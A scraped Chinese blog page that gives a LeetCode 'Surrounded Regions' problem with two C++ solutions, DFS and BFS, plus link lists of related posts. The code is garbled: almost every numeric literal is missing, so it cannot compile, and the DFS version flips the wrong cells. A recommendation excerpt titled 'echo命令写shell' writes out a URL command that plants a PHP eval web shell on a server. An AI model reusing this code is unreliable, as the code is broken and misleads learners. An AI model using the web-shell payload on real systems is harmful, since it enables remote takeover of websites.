【leetcode】Surrounded Regions
Surrounded Regions
Given a 2D board containing 'X' and 'O', capture all regions surrounded by 'X'.
A region is captured by flipping all 'O's into 'X's in that surrounded region.
For example,
X X X X
X O O X
X X O X
X O X X
After running your function, the board should be:
X X X X
X X X X
X X X X
X O X X
class Solution {
public:
void solve(vector<vector<char>> &board) {
int m=board.size();
if(m==) return;
int n=board[].size();
vector<vector<bool>> visited(m,vector<bool>(n,false));
for(int i=;i<m;i++)
{
if(board[i][]=='O'&&!visited[i][])
{
dfs(board,visited,i,,m,n);
}
if(board[i][n-]=='O'&&!visited[i][n-])
{
dfs(board,visited,i,n-,m,n);
}
}
for(int j=;j<n;j++)
{
if(board[][j]=='O'&&!visited[][j])
{
dfs(board,visited,,j,m,n);
}
if(board[m-][j]=='O'&&!visited[m-][j])
{
dfs(board,visited,m-,j,m,n);
}
}
for(int i=;i<m;i++)
{
for(int j=;j<n;j++)
{
if(board[i][j]=='O'&&visited[i][j])
{
board[i][j]='X';
}
}
}
return;
}
void dfs(vector<vector<char>> &board,vector<vector<bool>> &visited,int i,int j,int &m,int &n)
{
if(board[i][j]=='O')
{
visited[i][j]=true;
if(i+<m&&visited[i+][j]==false)dfs(board,visited,i+,j,m,n);
if(j+<n&&visited[i][j+]==false)dfs(board,visited,i,j+,m,n);
if(i->=&&visited[i-][j]==false)dfs(board,visited,i-,j,m,n);
if(j->=&&visited[i][j-]==false)dfs(board,visited,i,j-,m,n);
}
else
{
return;
}
}
};
class Solution {
public:
void solve(vector<vector<char>> &board) {
int m=board.size();
if(m==) return;
int n=board[].size();
queue<pair<int,int>> q;
vector<vector<bool>> visited(m,vector<bool>(n,false));
for(int i=;i<m;i++)
{
if(board[i][]=='O') q.push(pair<int,int>(i,));
if(board[i][n-]=='O') q.push(pair<int,int>(i,n-));
}
for(int j=;j<n;j++)
{
if(board[][j]=='O') q.push(pair<int,int>(,j));
if(board[m-][j]=='O') q.push(pair<int,int>(m-,j));
}
bfs(q,board,visited,m,n);
for(int i=;i<m;i++)
{
for(int j=;j<n;j++)
{
if(!visited[i][j]&&board[i][j]=='O') board[i][j]='X';
}
}
}
void bfs(queue<pair<int,int>> &q,vector<vector<char>> &board,vector<vector<bool>> &visited,int &m,int &n)
{
while(!q.empty())
{
int ii=q.front().first;
int jj=q.front().second;
visited[ii][jj]=true;
q.pop();
if(ii+<m&&!visited[ii+][jj]&&board[ii+][jj]=='O') q.push(pair<int,int>(ii+,jj));
if(ii->=&&!visited[ii-][jj]&&board[ii-][jj]=='O') q.push(pair<int,int>(ii-,jj));
if(jj+<n&&!visited[ii][jj+]&&board[ii][jj+]=='O') q.push(pair<int,int>(ii,jj+));
if(jj->=&&!visited[ii][jj-]&&board[ii][jj-]=='O') q.push(pair<int,int>(ii,jj-));
}
}
};
【leetcode】Surrounded Regions的更多相关文章
- 【leetcode】Surrounded Regions(middle)☆
Given a 2D board containing 'X' and 'O', capture all regions surrounded by 'X'. A region is captured ...
- 【LeetCode】959. Regions Cut By Slashes 由斜杠划分区域(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题思路 代码 日期 题目地址:https://leetcod ...
- 【leetcode】959. Regions Cut By Slashes
题目如下: In a N x N grid composed of 1 x 1 squares, each 1 x 1 square consists of a /, \, or blank spac ...
- 【LeetCode】BFS(共43题)
[101]Symmetric Tree 判断一棵树是不是对称. 题解:直接递归判断了,感觉和bfs没有什么强联系,当然如果你一定要用queue改写的话,勉强也能算bfs. // 这个题目的重点是 比较 ...
- 【LeetCode】并查集 union-find(共16题)
链接:https://leetcode.com/tag/union-find/ [128]Longest Consecutive Sequence (2018年11月22日,开始解决hard题) 给 ...
- 【LeetCode】深搜DFS(共85题)
[98]Validate Binary Search Tree [99]Recover Binary Search Tree [100]Same Tree [101]Symmetric Tree [1 ...
- 【LeetCode】Island Perimeter 解题报告
[LeetCode]Island Perimeter 解题报告 [LeetCode] https://leetcode.com/problems/island-perimeter/ Total Acc ...
- 【LeetCode】Minimum Depth of Binary Tree 二叉树的最小深度 java
[LeetCode]Minimum Depth of Binary Tree Given a binary tree, find its minimum depth. The minimum dept ...
- 【Leetcode】Pascal's Triangle II
Given an index k, return the kth row of the Pascal's triangle. For example, given k = 3, Return [1,3 ...
随机推荐
- java.lang.ClassNotFoundException与java.lang.NoClassDefFoundError的区别
java.lang.ClassNotFoundException与java.lang.NoClassDefFoundError的区别 以前一直没有注意过这个问题,前两天机缘巧合上网查了一下,然后自 ...
- Crontab的格式
第1列分钟1-59第2列小时1-23(0表示子夜)第3列日1-31第4列月1-12第5列星期0-6(0表示星期天)第6列要运行的命令 下面是crontab的格式:分 时 日 月 星期 要运行的命令 这 ...
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- yii2-按需加载并管理CSS样式/JS脚本
原文地址:https://segmentfault.com/a/1190000003742452
- .NET安全审核检查表
书籍名称:Web安全设计之道 -.NET代码安全,界面漏洞防范与程序优化 .NET安全审核检查表 检查项 任务描述 设计环节 Security descisions should no ...
- CentOS7挂载分区教程
http://www.centoscn.com/CentOS/config/2014/1016/3955.html
- 【好玩】将js代码转为日式表情
直接上网址:http://utf-8.jp/public/aaencode.html?src=hello 试试将下面代码执行一下吧: ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; ...
- Java中的LookAndFeel
Java'中的几种Look and Feel1.Metal风格 (默认)String lookAndFeel = "javax.swing.plaf.metal.MetalLookAndFe ...
- BufferedReader readLine()方法
控制台输入字符串之后回车,后台接收传来的字符串,代码如下: import java.io.BufferedReader; import java.io.IOException; import java ...
- Junit初级编码(一)第一个Junit测试程序
序,Junit测试是单元测试的一个框架,提供了很多方法,供我们快速开展单元测试.目前最新版本JAR包为4.12,官网地址为http://junit.org/ 一.第一个Junit测试程序 1 去官网下 ...